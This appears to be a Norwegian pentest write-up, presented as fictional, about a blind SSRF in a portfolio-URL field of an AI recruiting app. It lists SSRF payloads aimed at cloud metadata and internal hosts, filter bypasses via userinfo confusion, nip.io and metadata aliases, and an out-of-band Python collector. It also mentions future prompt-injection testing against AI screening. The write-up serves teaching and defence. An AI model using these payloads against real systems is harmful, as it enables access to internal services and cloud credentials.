Hopp til hovedinnhold
Erik Nilsen
5 min lesing

Blind SSRF via et felt kandidaten fyller ut selv

  • #ssrf
  • #pentest
  • #web-security
  • #ai

FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.

Jeg testet nylig en AI-drevet rekrutteringsplattform for Snadder AS (snadderas.no). Det meste av appen holdt godt — tilgangskontrollen satt der den skulle. Men ett felt som kandidaten fyller ut helt selv, en portefolje-URL, ble hentet server-side av backenden. Det ble til en SSRF — og da jeg gravde i URL-filteret deres, viste det seg å være mulig å omgå.

Kontekst

Snadder AS driver en "AI-native" ATS: en Next.js-app med tRPC mot en Prisma/Postgres-backend, og en egen AI-pipeline som leser og rangerer søknader. Scope var web, og IT-ansvarlig hos Snadder AS, Kari Olsen ([email protected]), satte opp en dedikert testkonto for en kandidat-bruker. Jeg startet uautentisert, og logget inn etterpå.

Arbeidsmåten min er ikke spesielt manuell lenger, og jeg later ikke som noe annet. Jeg kjører en AI i loopen som gjør mye av bredden: den genererer scripts, kjører recon, enumererer endepunkter og leser logger, og foreslår neste steg. Jeg styrer retningen, plukker ut de interessante treffene, tar avgjørelsene om scope og etikk, og skriver den endelige vurderingen. AI-en finner mye støy fort; jobben min er å vite hva som faktisk betyr noe.

Hvordan jeg kartla API-et

tRPC bygger prosedyrestiene dynamisk, så navnene ligger ikke som rene strenger i JS-bundlene. I stedet lot jeg AI-en armere en liten fetch-interceptor i nettleseren og klikket meg gjennom appen, så jeg fikk de ekte kallene med input og alt:

GET  /api/trpc/user.getProfile
POST /api/trpc/user.edit

De fleste "mine data"-prosedyrene tok null som input og hentet bruker fra sesjonen — altså ingen ID-parameter å manipulere. Det er god design, og det er verdt å si tydelig: her var det ikke IDOR.

Det jeg fant: en server-side fetch jeg ikke ba om

Kandidatprofilen har et portfolioUrl-felt. Jeg ba AI-en sette opp en enkel OOB-collector — et lite Python-script som logger hver request — og eksponere den gjennom en tunnel. Så pekte jeg portfolioUrl mot den.

class H(http.server.BaseHTTPRequestHandler):
    def _route(self):
        self._log()  # method, path, X-Forwarded-For, User-Agent
        if self.path.split("?")[0] == "/redir":
            self.send_response(302)
            self.send_header("Location", "/redir-followed")
            self.end_headers()
            return
        self.send_response(200); self.end_headers()

Kort tid etter at jeg lagret profilen, dukket dette opp i loggen:

HEAD /portfolio  xff=203.0.113.42  ua=node
GET  /portfolio  xff=203.0.113.42  ua=node

En node-klient fra en sky-IP hentet en URL jeg kontrollerte. Da måtte jeg vite én ting til: følger den redirects? Jeg pekte feltet mot /redir, som svarer 302 til /redir-followed:

HEAD /redir            xff=203.0.113.42  ua=node
HEAD /redir-followed   xff=203.0.113.42  ua=node   <- fulgte redirecten

Det gjorde den. Medium — blind SSRF med redirect-following.

Filteret som nesten holdt

Det interessante kom da jeg prøvde å peke feltet rett mot interne mål. De ble avvist med 400:

http://127.0.0.1/            -> 400
http://169.254.169.254/      -> 400   (sky-metadata)
http://[::ffff:a9fe:a9fe]/   -> 400   (IPv4-mapped IPv6)
http://2852039166/           -> 400   (desimal-IP)
file:///etc/passwd           -> 400
gopher://127.0.0.1:6379/     -> 400

Så det fantes et filter, og det normaliserte både alternative IP-kodinger og farlige schemes. Bra. Men et filter som sjekker en streng, og en backend som faktisk slår opp DNS og kobler til, er ikke alltid enige om hva "verten" er. Disse ble nemlig akseptert (200, lagret):

http://[email protected]/     -> 200   (userinfo-forvirring)
http://169.254.169.254.nip.io/           -> 200   (DNS-navn som peker internt)
http://metadata.google.internal/...      -> 200   (alias som ikke står på blocklista)

Filteret blokkerte 169.254.169.254 alene, men slapp gjennom [email protected] — det leste verten feil. Kombinert med redirect-following er det to uavhengige veier forbi en deny-liste.

Lærdommen: ikke filtrer på strengen. Slå opp verten (DNS), avvis private, link-local og metadata-rekker etter oppslag, strip userinfo, og skru av redirect-følging — eller revalider hvert hopp.

En ting til, og det er en ærlig avgrensning: fetchen var asynkron. Jeg testet med et endepunkt som sov i 9 sekunder, men user.edit svarte på ~120 ms uansett. Ingen timing-orakel, ingen refleksjon av svaret tilbake til kandidaten. SSRF-en er altså blind. Den når interne mål, men jeg leser dem ikke — ikke fra kandidatsiden. En ikke-blind variant ville krevd at det hentede innholdet dukket opp et sted en bruker (eller rekrutterer) ser det.

Patch-nivå teller, selv uten en fungerende exploit

Appen kjørte en Next.js-versjon som lå bak en større sikkerhetsrelease — en hel bunke rådgivninger, inkludert middleware-/auth-bypass og en SSRF i WebSocket-upgrade. Jeg testet de relevante mot produksjons-edgen:

  • Middleware-/prefetch-bypass mot en gated rute: holdt. Gaten håndheves server-side, og en nginx foran normaliserer stier.
  • WebSocket-upgrade-SSRF: ikke utnyttbar gjennom nginx, som skriver om request-linja.

Ingen fungerende exploit altså — men Medium står likevel: å ligge bak på en sikkerhetsrelease med bypass- og SSRF-klasser er en reell risiko. Anbefalingen er enkel: oppgrader, og følg sikkerhetskanalen.

Det som holdt

Dette er egentlig poenget med innlegget. Jeg kastet en god del på appen, og det meste sto imot:

  • Ingen mass-assignment. user.edit whitelister felter — emailVerified, role, slug, alternateEmails ble strippet.
  • Verifiseringsgaten holdt server-side, også mot kjente Next.js-bypass-triks.
  • Ingen kryss-tenant IDOR. Å be om et annet firmas portal redirectet meg tilbake til mitt eget.
  • sqlmap fant ingenting (Prisma parameteriserer), og DMARC sto på p=reject.
  • Ingen subdomain takeover, ingen eksponerte .git/.env, ingen source maps.

Jeg lot AI-en kjøre en sweep på rundt 4800 prosedyrestier mot tRPC-endepunktet. Den fant ingen skjulte godbiter — de interessante prosedyrene lå bak en gate jeg ikke kunne passere uten en godkjent rekrutterer-konto. Da er konklusjonen at appen er godt bygget, ikke at jeg må finne på noe.

Hva jeg lærte

  • SSRF gjemmer seg i felter som "ser ufarlige ut." En portefolje-URL er bare en lenke — helt til noe henter den server-side.
  • Et URL-filter på streng-nivå er nesten alltid omgåelig. Userinfo, DNS-navn som peker internt, og host-aliaser slipper forbi. Slå opp, så filtrer.
  • Blind betyr ikke ufarlig, men vær ærlig om det. Uten refleksjon eller timing-orakel leser jeg ikke svaret — så jeg skriver "blind", ikke "RCE".
  • Vær ærlig om hva som ikke er sårbart. En rapport som sier "godt bygget, her er de reelle funnene" er mer verdt enn ti oppblåste.

Veien videre

Den dypeste delen — rekrutterer-siden med andre kandidaters data og AI-ens faktiske rangering — krevde en godkjent firma-konto jeg ikke fikk presset gjennom. Det er der jeg ville fortsatt: finne et refleksjonspunkt som gjør SSRF-en ikke-blind, og verifisere prompt-injection mot screeningen med innsyn i hva modellen faktisk gjør med inputen min.